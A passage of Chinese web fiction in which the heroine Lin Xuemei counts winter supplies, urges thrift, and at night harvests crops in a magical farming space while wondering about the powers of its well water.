清点完毕,她正准备上去,目光忽然落在角落里那几个麻袋上——那是王大爷给的山货。榛子、木耳、蘑菇……都是高热量、耐储存的好东西。 她心里微微一动。这些山货,或许不仅仅是食物。 退出地窖,回到屋里,暖意和众人询问的目光将她包围。她简单说了下物资情况,强调了节约的重要性,大家都表示理解。 晚上,等所有人都睡下后,林雪梅再次进入空间。 黑土地上的作物又成熟了一批。她收了白菜和萝卜,重新种下。黄豆荚已经干透,她仔细收割、脱粒,又得了三四斤黄豆。看着堆在土坯房角落的粮食和蔬菜,她心里稍微安定。 但空间只有半亩,产出有限。想要长期支撑,必须开源节流,并找到更稳定的食物来源。 她的目光落在井水上。这水的神奇之处,除了饮用,是否还有其他用途?比如……加速作物生长她已经看到了。那么,对动物呢?对人体长期的改善呢? 她需要更多实验,也需要更多时间。